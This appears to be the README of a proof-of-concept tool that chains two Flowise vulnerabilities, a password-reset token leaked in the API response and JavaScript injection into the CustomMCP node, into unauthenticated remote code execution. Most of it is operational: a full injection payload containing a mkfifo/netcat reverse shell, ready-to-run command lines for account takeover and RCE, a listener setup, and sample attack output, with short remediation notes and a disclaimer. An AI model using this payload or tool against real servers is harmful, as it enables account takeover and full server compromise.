⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.
- Overview
- Vulnerability Details
- Full Attack Chain
- Affected Versions
- Repository Structure
- Requirements
- Installation
- Usage
- Flag Reference
- Reverse Shell vs Custom Command
- Example Output
- Remediation
- Disclosure Timeline
- References
- Disclaimer
This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Type | Account Takeover | Remote Code Execution |
| Auth Required | None | Yes (any valid account) |
| CVSS | 9.8 Critical | Critical |
| Affected | Cloud + Self-hosted | Self-hosted |
The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.
Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.
Attack Steps:
POST /api/v1/account/forgot-passwordwith any registered email- Read
tempTokenfrom the JSON response — no email access needed POST /api/v1/account/reset-passwordwith the leaked token → set a new password- Log in as the victim
Leaked response (trimmed):
{
"user": {
"email": "admin@example.com",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.
Vulnerable code path:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
Required headers:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Default injection payload (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}Note: Reverse shell payloads use
cp.exec()(async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands usecp.execSync()and return output inline.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Component | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) |
Affected by CVE-2025-58434 |
| Flowise self-hosted (all versions prior to patch) | Affected by both CVEs |
Check the official Flowise security advisories for patched release numbers.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
- Python 3.7+
requestslibrary
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txtNo mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e admin@example.com \
--lhost 10.10.16.35 \
--lport 4444Start your listener before running:
nc -lvnp 4444python3 flowise_poc.py -hRuns all four steps end-to-end: leak token → reset password → login → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001Leak the tempToken and reset the account password. Stops before login/RCE.
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com \
-p "NewPassword2025!"
# Print raw JSON response
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com --json-outputAuthenticate and extract the three session cookies for manual use.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e admin@example.com \
-P "password123"
# JSON output for scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e admin@example.com \
-P "password123" --json-outputExecute on the server. Auto-logins if --token is not given.
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e admin@example.com -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Custom command — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e admin@example.com -P "password123" \
-c "id"
# Manual token — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# All three cookies manually
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"| Flag | Description |
|---|---|
--chain |
Full chain: ATO → Login → RCE |
--module ato |
Account takeover only |
--module login |
Login and extract cookies only |
--module rce |
RCE only |
| Flag | Short | Description | Required |
|---|---|---|---|
--url |
-u |
Base URL of Flowise instance | Always |
--email |
-e |
Target / login email | Always |
| Flag | Short | Description | Default |
|---|---|---|---|
--new-password |
-p |
Password set on victim account after ATO | Flowise@Pwn3d2025! |
| Flag | Short | Description |
|---|---|---|
--login-password |
-P |
Password for login module / RCE auto-login |
--token |
— | Manually supply token cookie (skips login) |
--refresh-token |
— | Manually supply refreshToken cookie |
--connect-sid |
— | Manually supply connect.sid cookie |
| Flag | Short | Description | Default |
|---|---|---|---|
--lhost |
— | Attacker IP for reverse shell | — |
--lport |
— | Attacker port for reverse shell | — |
--command |
-c |
Custom OS command (overrides revshell) | id if no lhost/lport |
| Flag | Short | Description | Default |
|---|---|---|---|
--timeout |
-t |
HTTP timeout (seconds) | 15 |
--json-output |
-j |
Print raw JSON responses | false |
The script automatically picks the right execution mode:
| Scenario | Payload used | HTTP behaviour |
|---|---|---|
--lhost + --lport (no -c) |
mkfifo netcat one-liner | cp.exec() — async, returns immediately |
-c "..." containing nc/mkfifo/bash -i |
detected as revshell | cp.exec() — async, returns immediately |
-c "id" or any other normal command |
user command | cp.execSync() — blocks, returns output |
no -c, no --lhost |
id |
cp.execSync() — blocks, returns output |
Async execution means the HTTP request completes instantly — no timeout errors on reverse shell payloads.
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
- Never return tokens in API responses. Send the
tempTokenonly via registered email. - Return a generic success message regardless of whether the email exists (prevents enumeration).
- Make tokens single-use, short-lived (≤15 min), and tied to request context.
- Rate-limit the
forgot-passwordendpoint.
- Never pass user input to
Function(),eval(), orvm.runInThisContext(). - Parse
mcpServerConfigas data only (e.g.,JSON.parse()) — never execute it. - If dynamic evaluation is required, use an isolated sandbox with a restricted context.
- Apply strict input validation and an allowlist of permitted configuration keys.
- Patch both cloud and self-hosted deployments.
- Enable logging and alerting on password reset and node-load-method endpoints.
- Consider MFA for all admin accounts.
| Date | Event |
|---|---|
| 2025-08-19 | CVE-2025-58434 discovered and reported |
| TBD | CVE-2025-59528 discovered and reported |
| TBD | Vendor acknowledgement |
| TBD | Patch released |
| TBD | Public disclosure |
- GHSA-wgpv-6j63-x5ph — CVE-2025-58434
- GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
- Flowise GitHub
- CWE-640: Weak Password Recovery Mechanism
- CWE-94: Improper Control of Code Generation
For educational purposes and authorized penetration testing only.
See DISCLAIMER.md for the full legal notice.